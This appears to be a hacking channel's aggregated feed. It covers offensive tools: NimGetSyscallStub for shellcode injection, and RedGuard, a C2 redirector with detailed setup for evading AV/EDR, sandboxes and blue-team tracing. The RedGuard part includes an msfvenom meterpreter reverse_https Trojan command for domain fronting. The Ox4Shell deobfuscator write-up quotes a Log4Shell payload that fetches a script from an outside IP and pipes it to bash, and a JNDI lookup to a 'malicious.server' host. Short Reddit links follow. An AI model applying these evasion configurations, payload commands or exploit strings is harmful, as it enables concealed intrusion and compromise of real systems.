Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy

NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.

The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.

To compile the shellcode execution template run the following:

nim c -d:release ShellcodeInject.nim

The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjat-K3JsmgPpOThCeSoLAmdkskIIJ8T6MmEqMN8QZyVx9iwFLISFBmlXZNddM1eTwed2hPo-CTQtk_VViTz6sM1XQsfziWaM8aoSEwc-EafnltdHHt1JaWeuJoXnelwZJegqYV4mAKm7tQVnj0-cZYhSeMUnIS3j7CGer9UXd6l7yHjbudlOkb1Su4/s687/PoC.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
RedGuard : C2 Front Flow Control Tool, Can Avoid Blue Teams, AVs, EDRs Check

RedGuard, a derivative tool based on command and control (C2) front flow control technology, has a lighter design, efficient traffic interaction, and reliable compatibility with development in the go programming language.As cyber attacks are constantly evolving , the red and blue team exercises become progressively more complex, RedGuard is designed to provide a better C2 channel hiding solution for the red team, that provides the flow control for the C2 channel, blocks the “malicious” analysis traffic, and better completes the entire attack task.

RedGuard is a C2 front flow control tool that can avoid Blue Team, AVS, EDR, Cyberspace Search Engine detects. When is RedGuard Used?* In the offensive and defensive exercise, the investigators attempting to do cyber attribution analyze C2 traffic connected to the attackers with the situational awareness platform
* Prevent malware sample analysis by identifying cloud sandboxes based on JA3 fingerprint libraries
* Block malicious requests to perform replay attacks and achieve obfuscation online
* Restrict access requests by whitelisting in the case of the IP of the connecting server is specified
* Prevent the scanning and identification of C2 facilities by cyberspace mapping technology, and redirect or intercept the traffic of scanning probes
* Supports front flow control for multiple C2 servers, and can realize domain fronting, load balancing connection to achieve hidden effect
* Able to perform regional host connection restriction according to the attribution of IP address by requesting IP reverse lookup API interface
* Resolve strong features of staged checksum8 rule path parsing without changing the source code.
* Analyze blue team traceability behavior through interception logs of target requests, which can be used to track peer connection events/issues
* With the ability to customize the time period for legal interaction of samples to realize the function of only conducting traffic interaction during the working time period
* Malleable C2 Profile parser capable of validating inbound HTTP/S requests strictly against malleable profile and dropping outgoing packets in case of violation (supports Malleable Profiles 4.0+)
* Built-in blacklist of IPV4 addresses for a large number of devices, honeypots, and cloud sandboxes associated with cybersecurity vendors to automatically intercept redirection request traffic
* SSL certificate information and redirect URLs that can interact with samples through custom tools to avoid the fixed signature of tool traffic
* ………. InstallYou can directly download and use the compiled version, or you can download the go package remotely for independent compilation and execution.

git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
You can also use upx to compress the compiled file size
go build -ldflags “-s -w” -trimpath
Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard Configuration DescriptionInitializationAs shown in the figure below, Set executable permissions and initialize RedGuard. The first run will generate a configuration file in the current user home directory to achieve flexible function configuration. Configuration file name: .RedGuard_CobaltStrike.ini.

The configuration options of cert are mainly for the configuration information of SSL certificate encrypted HTTPS communication between the sample and the C2 front infrastructure. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.

The SSL certificate encrypted HTTPS communication will be generated in the cert-rsa/ directory under the directory where RedGuard is executed. You can start and stop the basic functions of the tool by modifying the configuration file (the serial nu[...]

___________________________
@hacking_Attack
@Hacking_Video

mber of the certificate is generated according to the timestamp , don’t worry about being associated with this feature).If you want to use your own certificate,Just rename them to ca.crt and ca.key.

openssl x509 -in ca.crt -noout -text

Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 infrastructure.

In the case of using your own certificate, modify the HasCert parameter in the configuration file to trueto prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by JARM obfuscation randomization.

Whether to use the certificate you have applied for true/false
HasCert = false RedGuard Parametersroot@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default “redirect”)
-EdgeHost string
Set Edge Host Communication Domain (default ““) -EdgeTarget string Set Edge Host Proxy Target (default ““)
-HasCert string
Whether to use the certificate you have applied for (default “true”)
-allowIP string
Proxy Requests Allow IP (default ““) -allowLocation string Proxy Requests Allow Location (default ““)
-allowTime string
Proxy Requests Allow Time (default ““) -common string Cert CommonName (default “.aliyun.com”)
-config string
Set Config Path
-country string
Cert Country (default “CN”)
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default “:80”)
-https string
Set Proxy HTTPS Port (default “:443”)
-ip string
IPLookUP IP
-locality string
Cert Locality (default “HangZhou”)
-location string
IPLookUP Location (default “风起”)
-malleable string
Set Proxy Requests Filter Malleable File (default “*”)
-organization string
Cert Organization (default “Alibaba (China) Technology Co., Ltd.”)
-redirect string
Proxy redirect URL (default “https://360.net”)
-type string
C2 Server Type (default “CobaltStrike”)
-u Enable configuration file modification Tool UsageBasic interceptionIf you directly access the port of the reverse proxy, the interception rule will be triggered. Here you can see the root directory of the client request through the output log, but because the request does not carry the requested credentials that is the correct HOST request header, the basic interception rule is triggered, and the traffic is redirected to https://360.net

{“360.net”:”http://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}

It is not difficult to see from the above slice that 360.net is proxied to the local port 8080, 360.com is proxied to the local port 4433, and the HTTP protocol used is also different. In actual use, it is necessary to pay attention to the protocol type of the listener. Consistent with the settings here, and set the corresponding HOST request header.

As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site. interception methodIn the above basic interception case, the default interception method is used, the illegal traffic is intercepted by redirection. By modifying the configuration file, we can change the interception method and the redirected site URL. In fact, rather than calling this a redirect, I think it might be more appropriate to describe it as hijacking, cloning, since the response status code returned is 200, and the response is obtained from another website to mimic the cloned/hijacked website as closely as possible.

Invalid packets can be incorrectly routed according to three strategies:

* reset: Disconnect the TCP connection immediately.
* proxy: Get a response from another website to mimic the cloned/hijacked website as closely as possible.
* redirect: redirect to the specified website and return HTTP status code 302, there is no requirement for the redirected website.

RedGuard interception action: redirect / rest / proxy (Hijack H[...]

___________________________
@hacking_Attack
@Hacking_Video

TTP Response)
drop_action = proxy
URL to redirect to
Redirect = https://360.net

Redirect = URL in the configuration file points to the hijacked URL address. RedGuard supports “hot change”, which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time

./RedGuard -u –drop true

Note that when modifying the configuration file through the command line, The -uoption should not be missing, otherwise the configuration file cannot be modified successfully. If you need to restore the default configuration file settings, you only need to enter ./RedGuard -u.

It can be seen that the C2 front flow control directly close response to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can hide the opening of ports. The specific effect can be seen in the following case. analyze. JA3 fingerprint recognition cloud sandbox analysis trafficRedGuard currently supports the function of identifying cloud sandboxes based on JA3 fingerprints, which can identify and intercept network requests initiated in the cloud sandbox environment to prevent subsequent connectivity analysis, which further affects the security of C2 facilities. Proxy port modificationThe configuration of the following two parameters in the configuration file realizes the effect of changing the reverse proxy port. It is recommended to use the default port hiding as long as it does not conflict with the current server port. If it must be modified, then pay attention to the :of the parameter value not to be missing

HTTPS Reverse proxy port
Port_HTTPS = :443
HTTP Reverse proxy port
Port_HTTP = :80 RedGuard logsThe blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/issues. The log file is generated in the directory where RedGuard is running, file name: RedGuard.log. RedGuard Obtain the real IP addressThis section describes how to configure RG to obtain the real IP address of a request. You only need to add the following configuration to the profile of the C2 device, the real IP address of the target is obtained through the request header X-Forwarded-For.

http-config {
set trust_x_forwarded_for “true”;
} Request geographic restrictionsThe configuration method takes AllowLocation = Jinan, Beijingas an example. Note that RedGuard provides two APIs for reverse IP attribution, one for users in mainland China and the other for users in non-mainland China, and can dynamically assign which API to use according to the input geographical domain name, if the target is China Then use Chinese for the set region, otherwise use English place names. It is recommended that users in mainland China use Chinese names, so that the accuracy of the attribution and the response speed of the API obtained by reverse query are the best choices.

P.S. Mainland Chinese users, do not use AllowLocation = Jinan,beijing this way! It doesn’t make much sense, the first character of the parameter value determines which API to use!

Before deciding to restrict the region, you can manually query the IP address by the following command.

./RedGuard –ip 111.14.218.206
./RedGuard –ip 111.14.218.206 –location shandong # Use overseas API to query

Here we set to allow only the Shandong region to go online

egarding the connections of geographical restrictions, it may be more practical in the current offensive and defensive exercise. Basically, the targets of provincial and municipal offensive and defensive exercise restrictions are in designated areas, and the traffic requested by other areas can naturally be ignored. This function of RedGuard can not only limit a single region, but also limit multiple connection regions according to provinces and cities, and intercept the traffic requested by other r[...]

___________________________
@hacking_Attack
@Hacking_Video

egions. Blocking based on whitelistIn addition to the built-in IP blacklist of cybersecurity vendors in RedGuard, we can also restrict according to the whitelist method. In fact, I also suggest that during web penetration, we can restrict the online IP addresses according to the whitelist to split multiple way of IP address.

Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1 Block based on time periodThis function is more interesting. Setting the following parameter values in the configuration file means that the traffic control facility can only connect from 8:00 am to 9:00 pm. The specific application scenario here is that during the specified attack time, we allow communication with C2, and remains silent at other times. This also allows the red teams to get a good night’s sleep without worrying about some blue team on duty at night being bored to analyze your Trojan and then wake up to something indescribable, hahaha.

Limit the time of requests example: AllowTime = 8:00 – 16:00
AllowTime = 8:00 – 21：00 Malleable ProfileRedGuard uses the Malleable C2 profile. It parses the provided extensible configuration file section to understand the contract and pass only those inbound requests that satisfy it, while misleading other requests. Parts such as http-stager, http-getand http-postand their corresponding uris, headers, User-Agent etc. are used to distinguish legal beacon requests from irrelevant Internet noise or IR/AV/EDR Out-of-bounds packet.

C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile Case AnalysisCyberspace Search MappingAs shown in the figure below, when our interception rule is set to DROP, the spatial mapping system probe will probe the / directory of our reverse proxy port several times. In theory, the request packet sent by mapping is faked as normal traffic as shown. But after several attempts, because the signature of the request packet do not meet the release requirements of RedGuard, they are all responded by Close HTTP. The final effect displayed on the surveying and mapping platform is that the reverse proxy port is not open.

The traffic shown in the figure below means that when the interception rule is set to Redirect, we will find that when the mapping probe receives a response, it will continue to scan our directory. User-Agent is random, which seems to be in line with normal traffic requests, but both successfully blocked. Domain frontingRedGuard supports Domain fronting. In my opinion, there are two forms of presentation. One is to use the traditional Domain fronting method, which can be achieved by setting the port of our reverse proxy in the site-wide acceleration back-to-origin address. On the original basis, the function of traffic control is added to the domain fronting, and it can be redirected to the specified URL according to the setting we set to make it look more real. It should be noted that the RedGuard setting of the HTTPS HOST header must be consistent with the domain name of the site-wide acceleration.

In single combat, I suggest that the above method can be used, and in team tasks, it can also be achieved by self-built “Domain fronting”.

In the self-built Domain fronting, keep multiple reverse proxy ports consistent, and the HOST header consistently points to the real C2 server listening port of the backend. In this way, our real C2 server can be well hidden, and the server of the reverse proxy can only open the proxy port by configuring the firewall.

This can be achieved through multiple node servers, and configure multiple IPs of our nodes in the CS listener HTTPS online IP. Edge NodeRedGuard 22.08.03 updated the edge host conection settings – custom intranet host interaction domain name, and the edge host uses the domain front CDN node interaction. This makes the information asymmetry between the two hosts, making it more difficult to trace the source and make it difficu[...]

___________________________
@hacking_Attack
@Hacking_Video

lt to troubleshoot. CobaltStrikeIf there is a problem with the above method, the actual online C2 server cannot be directly intercepted by the firewall, because the actual load balancing request in the reverse proxy is made by the IP of the cloud server manufacturer.

In single combat, we can set an interception rules on the cloud server firewall.

Then set the address pointed to by the proxy to https://127.0.0.1:4433.

{“360.net”:”http://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}

And because our basic verification is based on the HTTP HOST request header, what we see in the HTTP traffic is also the same as the domain fronting method, but the cost is lower, and only one cloud server is needed. MetasploitGenerates Trojan

$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe

Of course, as a domain fronting scenario, you can also configure your LHOST to use any domain name of the manufacturer’s CDN, and pay attention to setting the HttpHostHeader to match RedGuard.

setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true

It is important to note that the OverrideRequestHostsetting must be set to true. This is due to a feature in the way Metasploit handles incoming HTTP/S requests by default when generating configuration for staging payloads. By default, Metasploit uses the incoming request’s Hostheader value (if present) for second-stage configuration instead of the LHOSTparameter. Therefore, the build stage is configured to send requests directly to your hidden domain name because CloudFront passes your internal domain in the Hostheader of forwarded requests. This is clearly not what we are asking for. Using the OverrideRequestHostconfiguration value, we can force Metasploit to ignore the incoming Hostheader and instead use the LHOSTconfiguration value pointing to the origin CloudFront domain. Download

___________________________
@hacking_Attack
@Hacking_Video

Persistence, pivoting and lateral movements resources
https://www.reddit.com/r/Pentesting/comments/wwmj4c/persistence_pivoting_and_lateral_movements/

Hi everyone! I’m looking for recommendations based on your experience of quality resources (books or courses) regarding persistence, pivoting and lateral movements. Also bypassing and reverse engineer Yeah I am googling but would appreciate your insights! Thanks fellows! submitted by /u/No_Dream_4588 (https://www.reddit.com/user/No_Dream_4588)
[link] (https://www.reddit.com/r/Pentesting/comments/wwmj4c/persistence_pivoting_and_lateral_movements/) [comments] (https://www.reddit.com/r/Pentesting/comments/wwmj4c/persistence_pivoting_and_lateral_movements/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Ox4Shell - Deobfuscate Log4Shell Payloads With Ease

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf7el7e-9kBVnwgA-nsKn4pQf0JVpKCdwuQWDJ8rQS2nThfgVD-x4ebM_ACSfk-FYMUmK6gmgRU8tT8Q3wY644nQ1TMxB0YnEIcmaCIL2yfzLc_dd0vjQnHu8zpzldJTnN63jA2QAPxgYceyrHQzGtk_r92o5pxlG-z48Yi3p_MDZqT9wnXEdePb1H/w640-h274/Ox4Shell.png Deobfuscate Log4Shell payloads with ease. DescriptionSince the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.
This tool intends to unravel the true contents of obfuscated Log4Shell payloads.

For example, consider the following obfuscated payload: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h} After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh} This tool also aids to identify and decode base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==} After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash We recommend running Ox4Shellwith a provided file (-f) rather than an inline payload (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results. UsageTo run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io

General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)

Targets:
Choose which target payloads to run Ox4Shell on

-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None) Mock DataThe Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.

Ox4Shell uses the mock.jsonfile to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.

The default set of mock data provided is: [...]

___________________________
@hacking_Attack
@Hacking_Video

{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
} As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}Authors* Daniel Abeles
* Ron Vider LicenseThe source code for the project is licensed under the MIT license, which you can find in the LICENSE file. Download Ox4Shell

___________________________
@hacking_Attack
@Hacking_Video

Windows PrivEsc — Hijacking DLLs
https://www.reddit.com/r/redteamsec/comments/wwlq77/windows_privesc_hijacking_dlls/

submitted by /u/Clement_Tino (https://www.reddit.com/user/Clement_Tino)
[link] (https://medium.com/@tinopreter/windows-privilege-escalation-2-hijacking-dlls-28505b68a978) [comments] (https://www.reddit.com/r/redteamsec/comments/wwlq77/windows_privesc_hijacking_dlls/)

___________________________
@hacking_Attack
@Hacking_Video

Join a Red Team?
https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/

All, Not sure if this is the right place for this but I was reaching out as I am continuing on my journey to pivot to Pen Testing, I'm looking to get together with a group to grow and learn with! ​ Does anyone have a team their looking to add another new person onto? Doesn't need to be anything serious but even a social group that meets to do bug bounties, RE, etc. would be awesome! submitted by /u/schemaadmin (https://www.reddit.com/user/schemaadmin)
[link] (https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/) [comments] (https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/)

___________________________
@hacking_Attack
@Hacking_Video

Hunting for emerging command-and-control frameworks
https://www.reddit.com/r/redteamsec/comments/wwo865/hunting_for_emerging_commandandcontrol_frameworks/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/SilverLiningHunting) [comments] (https://www.reddit.com/r/redteamsec/comments/wwo865/hunting_for_emerging_commandandcontrol_frameworks/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bug Bounty Hunting tools

I'm going to start bug bounty hunting, and I'm a beginner.Got any good and helpful tools out there for free? Appreciated and thank you

submitted by /u/Inevitable-Mall-8415
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Gaming on School Wifi

As the title suggests I would like to be able to play games like Destiny 2 or League while I am on school wifi. I am a permanent substitute teacher and I have 2 hours free time during my every day schedule. I have tried to play in the past but of course get the error code for no internet connection reaching the servers. Any Idea on a way to work around this?

submitted by /u/richiesum88
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Have a look at this account lol

Does using this count as identity theft?

submitted by /u/MyPasswordIsBanana24
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Tor: Darknet Opsec By a Veteran Darknet Vendor & the Hackers Mentality by Sam Bent aka DoingFedTime (FULL VIDEO)

submitted by /u/reservesteel9
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why I love my soft-modded 3ds

https://external-preview.redd.it/na2bqA5DVXTSddiNZKcM8Lo55rMoaUa5G1xvF8of8B4.jpg?width=320&crop=smart&auto=webp&s=32f1aea9f015e3ce286f72739da5a0ce306fbbd3 submitted by /u/Capnecc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video